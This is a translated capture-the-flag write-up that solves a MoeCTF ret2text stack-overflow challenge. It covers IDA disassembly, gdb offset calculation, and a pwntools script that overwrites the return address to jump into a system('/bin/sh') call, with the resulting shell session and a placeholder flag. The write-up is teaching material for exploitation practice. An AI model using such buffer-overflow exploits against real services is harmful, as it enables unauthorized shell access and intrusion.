The original Chinese article was written by a human and only proofread with generative AI. This English version was translated with AI.

Challenge link

According to the hint, this challenge uses ret2text (return-to-text).

Once again, open the binary in IDA.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("Stack overflow is a powerful art!");
  puts("In this MoeCTF,I will show you the charm of PWN!");
  puts("You need to understand the structure of the stack first.");
  puts("Then how many bytes do you need to overflow the stack?");
  __isoc99_scanf("%d", &v4);
  overflow(v4);
  return 0;
}
int __fastcall overflow(int a1)
{
  char buf[8]; // [rsp+18h] [rbp-8h] BYREF

  if ( a1 <= 7 )
    return puts("Come on, you can't even fill up this array?");
  read(0, buf, a1);
  return puts("OK,I receive your byte.and then?");
}

Notice the following code:

int treasure()
{
  puts("Congratulations! You got the secret!");
  return system("/bin/sh");
}

The intended approach is clearly to overwrite the return address and jump to treasure to obtain a shell.

Find the target address.

.text:00000000004011B6 ; int treasure()
.text:00000000004011B6                 public treasure
.text:00000000004011B6 treasure        proc near
.text:00000000004011B6 ; __unwind {
.text:00000000004011B6                 endbr64
.text:00000000004011BA                 push    rbp
.text:00000000004011BB                 mov     rbp, rsp
.text:00000000004011BE                 lea     rax, s          ; "Congratulations! You got the secret!"
.text:00000000004011C5                 mov     rdi, rax        ; s
.text:00000000004011C8                 call    _puts
.text:00000000004011CD                 lea     rax, command    ; "/bin/sh"
.text:00000000004011D4                 mov     rdi, rax        ; command
.text:00000000004011D7                 call    _system
.text:00000000004011DC                 nop
.text:00000000004011DD                 pop     rbp
.text:00000000004011DE                 retn
.text:00000000004011DE ; } // starts at 4011B6
.text:00000000004011DE treasure        endp

Here, 0x00000000004011CD is used as the target address.

.text:0000000000401205 loc_401205:                             ; CODE XREF: overflow+13↑j
.text:0000000000401205                 mov     eax, [rbp+var_14]
.text:0000000000401208                 movsxd  rdx, eax        ; nbytes
.text:000000000040120B                 lea     rax, [rbp+buf]
.text:000000000040120F                 mov     rsi, rax        ; buf
.text:0000000000401212                 mov     edi, 0          ; fd
.text:0000000000401217                 call    _read
.text:000000000040121C                 lea     rax, large cs:402068h ; "OK,I receive your byte.and then?"
.text:0000000000401223                 mov     rdi, rax        ; s
.text:0000000000401226                 call    _puts
.text:000000000040122B                 nop

How does IDA know which registers correspond to the arguments?

Function calls generally follow the x86-64 calling convention.

Argument typeRegisters/location
Integer/pointer arguments 1–6RDI, RSI, RDX, RCX, R8, R9
Floating-point arguments 1–8XMM0–XMM7
Remaining argumentsStack
Static chain pointerR10

IDA also knows the function prototype read(int fd, void *buf, size_t count), so it labels the arguments according to the register order.1

We need the address of buf, so set a breakpoint at 0x0000000000401212.

(gdb) b *0x401226
Breakpoint 1 at 0x401226
(gdb) r
Starting program: /path/to/pwn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Stack overflow is a powerful art!
In this MoeCTF,I will show you the charm of PWN!
You need to understand the structure of the stack first.
Then how many bytes do you need to overflow the stack?
20 // Any value greater than 7 works here for now

Breakpoint 1, 0x0000000000401226 in overflow ()
(gdb) info registers
...
rsi            0x7fffffffd7f8      140737488345080
rdi            0x402068            4202600
rbp            0x7fffffffd800      0x7fffffffd800
rsp            0x7fffffffd7e0      0x7fffffffd7e0
...
(gdb) q

The starting address of buf is (%rsi) = 0x7fffffffd7f8.

rbp is 0x7fffffffd800.

Thus, rbp is 0x800 - 0x7f8 = 0x8 bytes above buf, and the saved return address is another 8 bytes above rbp.

Therefore, 8 + 8 = 16 bytes of padding are required.

pwntools code:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

io = connect("127.0.0.1", 44210)

target = 0x4011CD

io.sendline(b'24')

io.sendline(b'A' * (8 + 8) + p64(target))

io.interactive()

Result:

[x] Opening connection to 127.0.0.1 on port 44210
[x] Opening connection to 127.0.0.1 on port 44210: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 44210: Done
[DEBUG] Sent 0x3 bytes:
    b'24\n'
[DEBUG] Sent 0x19 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  cd 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000019
[*] Switching to interactive mode
[DEBUG] Received 0xc3 bytes:
    b'Stack overflow is a powerful art!\n'
    b'In this MoeCTF,I will show you the charm of PWN!\n'
    b'You need to understand the structure of the stack first.\n'
    b'Then how many bytes do you need to overflow the stack?\n'
Stack overflow is a powerful art!
In this MoeCTF,I will show you the charm of PWN!
You need to understand the structure of the stack first.
Then how many bytes do you need to overflow the stack?
[DEBUG] Received 0x20 bytes:
    b'OK,I receive your byte.and then?'
OK,I receive your byte.and then?[DEBUG] Received 0x1 bytes:
    b'\n'

ls

[DEBUG] Sent ...

bin
flag
lib
lib32
lib64
libexec
libx32
pwn

cat flag

[DEBUG] Sent ...

moectf{THIS_IS_FLAG}
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 44210